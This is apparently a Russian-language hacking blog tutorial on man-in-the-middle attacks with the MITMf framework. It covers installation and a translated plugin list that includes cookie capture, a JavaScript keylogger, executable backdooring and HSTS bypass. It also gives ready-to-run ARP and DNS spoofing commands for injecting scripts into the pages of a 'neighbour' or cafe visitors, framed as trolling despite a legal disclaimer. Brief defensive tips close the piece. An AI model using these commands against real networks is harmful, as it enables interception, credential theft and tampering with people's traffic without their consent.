Атака «человек-посередине» (Man-In-The-Middle attacks). Инструкция по MITMf
Привет, друг. Давай продолжим изучать хакерские инструменты и сегодня поговорим о атаке человек-посередине в целом, и утилите MITMf в частности. Так как писать сухой гайд с обилием технической информации мне скучно, а тебе вряд ли интересно будет его читать, то рассказывать о его возможностях я буду на примерах и в плоскости троллинга твоего, условного, соседа. Ну или посетителей какого-нибудь кафе, ну или сам придумай зачем оно вообще тебе надо. При этом, напомню, что вмешательство в работу чужих сетей, может нарушать требования законодательства, а все материалы в этой статье представлены исключительно в образовательных и ознакомительных целях, а также для повышения уровня понимания основ информационной безопасности и не являются призывом к действию.
Ну, а теперь начнём.
MITMf — это фреймворк для проведения атак человек-посередине (Man-In-The-Middle attacks).
Атака человек-посередине, её ещё называют атака посредника — это когда злоумышленник тайно ретранслирует и, при необходимости, изменяет связь между двумя объектами, которые считают, что они взаимодействуют непосредственно друг с другом. То есть это метод компрометации канала связи способом подключения к каналу между контрагентами, с последующим вмешательством в протокол передачи.
Установка MITMf
Теперь давай перейдём к установке MITMf. Для его работы нужно установить некоторые модули, что бы это сделать в окне терминала пишем:
apt-get install python-dev python-setuptools libpcap0.8-dev libnetfilter-queue-dev libssl-dev libjpeg-dev libxml2-dev libxslt1-dev libcapstone3 libcapstone-dev libffi-dev file
pip install virtualenvwrapper
source /usr/local/bin/virtualenvwrapper.sh
mkvirtualenv MITMf -p /usr/bin/python2.7
pip install requests[security]
Теперь копируем репозиторий:
git clone https://github.com/byt3bl33d3r/MITMf
После окончания копирования нужно перейти в каталог с программой, где инициализировать и обновить подмодули, сделать это можно так:
cd MITMf && git submodule init && git submodule update --recursive
Теперь нужно установить зависимости:
pip install -r requirements.txt
Инструкция MITMf
После окончания всё готово к работе, можем запустить MITMf и ознакомиться с функционалом:
python mitmf.py --help
и мы увидим инструкцию по использованию и список возможностей программы:
Использование:
mitmf.py -i интерфейс [параметры mitmf] [имя плагина] [параметры плагина]
необязательные аргументы:
-h, --help показать справочное сообщение и выйти
-v, --version показать номер версии программы и выйти
MITMf:
Настройки MITMf
--log-level {debug,info}
Укажите уровень журнала [default: info]
-i INTERFACE Интерфейс для прослушивания
-c CONFIG_FILE Укажите файл конфигурации для использования
-p, --preserve-cache Не убивать кеширование клиент/сервер
-r READ_PCAP, --read-pcap READ_PCAP
Разобрать указанный pcap для учётных данных и выйти
-l PORT Порт для прослушивания (по умолчанию 10000)
-f, --favicon Заменять значок блокировки на безопасные запросы.
-k, --killsessions Убить сеансы в процессе.
-F FILTER [FILTER …], --filter FILTER [FILTER …]
Фильтр для применения к входящему трафику
AppCachePoison:
Выполняет атаки отравления кэша приложений
--appoison Загрузить плагин 'AppCachePoison'
Ferret-NG:
Захватывает куки и запускает прокси, который будет загружать их подключенным клиентам
--ferretng загрузить плагин 'Ferret-NG'
--port PORT Порт для включения прокси Ferret-NG (по умолчанию 10010)
--load-cookies FILE Загрузка cookies из файла журнала
Inject:
Внедрить произвольное содержимое в HTML контент
--inject Загрузить плагин 'Inject'
--js-url JS_URL URL JS для внедрения
--js-payload JS_PAYLOAD
JS строка для внедрения
--js-file JS_FILE Файл, содержащий JS для внедрения
--html-url HTML_URL URL адрес HTML кода для внедрения
--html-payload HTML_PAYLOAD
HTML строка для внедрения
--html-file HTML_FILE
Файл, содержащий HTML для внедрения
--per-domain Вставить один раз на домен для каждого клиента.
--rate-limit RATE_LIMIT
Введите один раз каждые RATE_LIMIT секунд для каждого клиента.
--count-limit COUNT_LIMIT
Внедрить только COUNT_LIMIT раз для клиента.
--white-ips IP Внедрить содержимое только для этих ips (через запятую)
--black-ips IP Не внедрять контент для этих ips (через запятую)
--white-domains DOMAINS
Внедрить контент только для этих доменов (через запятую)
--black-domains DOMAINS
Не внедряйте контент для этих доменов (через запятую)
BrowserProfiler:
Попытки перечислить плагины браузера подключенных клиентов
--browserprofiler Загрузить плагин 'BrowserProfiler'
SMBAuth:
Вызывать попытки аутентификации запроса-ответа SMB
--smbauth Загрузить плагин 'SMBAuth'
JSKeylogger:
Внедряет кейлоггер javascript в веб-страницы клиентов
--jskeylogger Загрузить плагин 'JSKeylogger'
ImageRandomizer:
Заменяет изображения на случайные из указанного каталога
--imgrand Загрузить плагин 'ImageRandomizer'
--img-dir DIRECTORY Каталог с изображениями
BrowserSniper:
Осуществить атаку на клиентов с помощью устаревших плагинов для браузера
--browsersniper Загрузить плагин 'BrowserSniper'
Replace:
Заменить произвольное содержимое в HTML содержимом
--replace Загрузить плагин 'Replace'
Captive Portal:
Будь пленником портала!
--captive Загрузить плагин 'Captive Portal'
--portalurl URL Укажите URL, по которому расположен портал, например, http://example.com.
--portaldir LOCALDIR Укажите локальный путь к файлам портала, которые обслуживаются с помощью SimpleHTTPServer на другом порту (см. конфигурацию).
--use-dns Используем ли мы спуфинг dns для показа с более привлекательного URL портала captive.portal при использовании без параметров или portaldir. Требуется DNS для разрешения «captive.portal», например, через настроенный dbs спуфинг. --dns.
Upsidedownternet:
Переворачивает изображения на 180 градусов
--upsidedownternet Загрузить плагин 'Upsidedownternet'
HTA Drive-By:
Выполнить атаку HTA Drive-By на клиентов
--hta Загрузить плагин 'HTA Drive-By'
--text TEXT Текст для отображения на панели уведомлений
--hta-app HTA_APP Путь к приложению HTA [по умолчанию config/hta_driveby/flash_setup.hta]
SMBTrap:
Эксплойт для SMBTrap-уязвимости подключенных клиентов
--smbtrap Загрузить плагин 'SMBTrap'
Spoof:
Перенаправить / изменить трафик, используя ICMP, ARP, DHCP или DNS
--spoof Загрузить плагин 'Spoof'
--arp Перенаправить трафик с помощью ARP-спуфинга
--icmp Перенаправить трафик, используя перенаправление ICMP
--dhcp Перенаправить трафик, используя DHCP предложение
--dns Заменить / Изменить DNS-запросы
--netmask NETMASK Маска сети
--shellshock PAYLOAD Запустить уязвимость Shellshock при спуфинге DHCP и выполнить указанную команду
--gateway GATEWAY Укажите IP-адрес шлюза
--gatewaymac GATEWAYMAC
Укажите MAC шлюза[будет установлен автоматически, если пропущен]
--targets TARGETS Указать хост/хосты которые нужно заразить [если пропущено, по умолчанию будет подсеть]
--ignore IGNORE Указать хост/хосты которые не заражать
--arpmode {rep,req} Режим ARP спуфинга: ответы (rep) или запросы (req) [по умолчанию: rep]
FilePwn:
Исполняемые файлы бэкдора отправляются через http с помощью bdfactory
--filepwn Загрузить плагин 'FilePwn'
SSLstrip+:
Включает SSLstrip+ для частичного обхода HSTS
--hsts Загрузить плагин 'SSLstrip+'
Responder:
Зараженные запросы LLMNR, NBT-NS and MDNS
--responder Загрузить плагин'Responder'
--analyze Позволяет видеть запросы NBT-NS, BROWSER, LLMNR без заражения
--wredir Включает ответы на запросы суффиксов netbios wredir
--nbtns Включает ответы на запросы суффиксов доменов netbios
--fingerprint Делать отпечатки хостов, отправившие запрос NBT-NS или LLMNR
--lm Принудительно понизить хеш-версию LM для Windows XP / 2003 и более ранних версий
--wpad Запустить мошеннический прокси-сервер WPAD
--forcewpadauth Принудительная проверка подлинности NTLM / Basic при извлечении файла wpad.dat (может вызвать запрос на вход в систему)
--basic Возвращает простую аутентификацию HTTP. Если не установлено, будет возвращена аутентификация NTLM
ScreenShotter:
Использует HTML5 Canvas для создания скриншота браузера клиента
--screen Загрузить плагин 'ScreenShotter'
--interval SECONDS Интервал с которым будут делаться снимки экрана (по умолчанию 10 секунд)
Человек-посередине. Как использовать MITMf
А теперь пришло время запустить и посмотреть как всё это дело работает. Для этого надо сформировать команду для запуска. Как мы видим из руководства по MITMf нам, в первую очередь, нужно задать используемый интерфейс и адрес маршрутизатора. Сетевой интерфейс определяем командой:
iwconfig
тут, как правило, ты увидишь eth0 — это подключение через Ethernet-адаптер или wlan0 — беспроводное подключение. А определить адрес маршрутизатора можно командой:
ip rout show
Теперь, нам нужно выбрать плагин, для использования, и задать его параметры. Для первого раза используем что-нибудь простое. Например, давай перевернём все картинки в браузере. Это произойдет на всех компьютерах подключенных к атакуемой сети. Но перед этим нам нужно определится какие плагины использовать. Давай по порядку. Так как нам необходимо изменять трафик, то логично использовать плагины —spoof и —arp. А ещё мы с тобой знаем, что есть такая штука как HSTS (HTTP Strict Transport Security) — это технология принудительно активирующая защищённое соединение через протокол HTTPS и сильно усложняющая проведение атаки «человек-посередине» и, логично было бы, попытаться обойти HSTS, для чего нужно задействовать плагины —dns и —hsts. И в самом конце задействуем плагин переворачивания изображений —upsidedownternet. В итоге, собрав всё воедино, мы получим такой набор команд:
python mitmf.py -i wlan0 --spoof --arp --gateway 10.0.1.1 --dns --hsts --upsidedownternet
После запуска мы можем понаблюдать результатами работы в логах:
А изображения на веб-сайтах перевернуться на 180 градусов. Представь как пригорит у твоего соседа и как он будет пытаться это пофиксить.
Это был один из вариантов использования MITMf. В качестве следующего примера попробуем внедрить код в веб страницы которые просматривает твой сосед.
Для этого нам нужно будет использовать плагин —inject в сочетании с атрибутом —js-file в котором мы укажем путь к файлу с кодом. Это может быть абсолютно любой код, но для примера мы создадим простое предупреждение.
Открываем текстовый редактор и пишем:
alert("Закрой браузер, БЫСТРО!!!")
и сохраняем, с названием script.js
После чего пишем команду для запуска:
python mitmf.py -i wlan0 --spoof --arp --gateway 10.0.1.1 --dns --hsts --inject --js-file /root/script.js
В результате наш скрипт будет внедрен в веб-запрос цели и как только он откроет сайт, появиться наше предупреждение:
Я думаю этих примеров достаточно что бы понять принцип использования MITMf. Можешь поэкспериментировать с другими плагинами, например с перехватом cookies или заменой HTML, логика их использования и синтаксис такие же как и с теми, что применили мы.
Защита от атаки человек-посередине в Wi-Fi сети.
Атака посредника очень эффективный инструмент, который предоставляет злоумышленнику немалый функционал. И это действительно серьезная проблема безопасности, забывать о которой точно не стоит. Что касается защиты, то соблюдая определенные меры предосторожности вполне можно себя обезопасить:
- Атака человек-посередине станет невозможна если злодей не сможет попасть в твою сеть. Для этого, соблюдай элементарные меры предосторожности: придумай сложный пароль, не дату своего рождения и не свой номер телефона, а такой чтоб его было крайне проблематично подобрать банальным перебором (brute force), сделай свою сеть скрытой, и, пожалуй самое важное, постоянно контролируй, кто подключен к твоей сети;
- Не пользуйся общественными wi-fi сетями. Я думаю это должно быть очевидно после прочтения этой статьи. Если прям очень надо воспользоваться, то используй VPN;
- Никогда не отправляй конфиденциальную информацию (лучше вообще любую информацию о себе) на веб-сайты, не использующий защищенный протокол HTTPS;
- Регулярно обновляй программное обеспечение, антивирус, фаервол и прошивку своего роутера.
А на этом пожалуй всё. Не забывай возвращаться к нам.
Твой Pulse.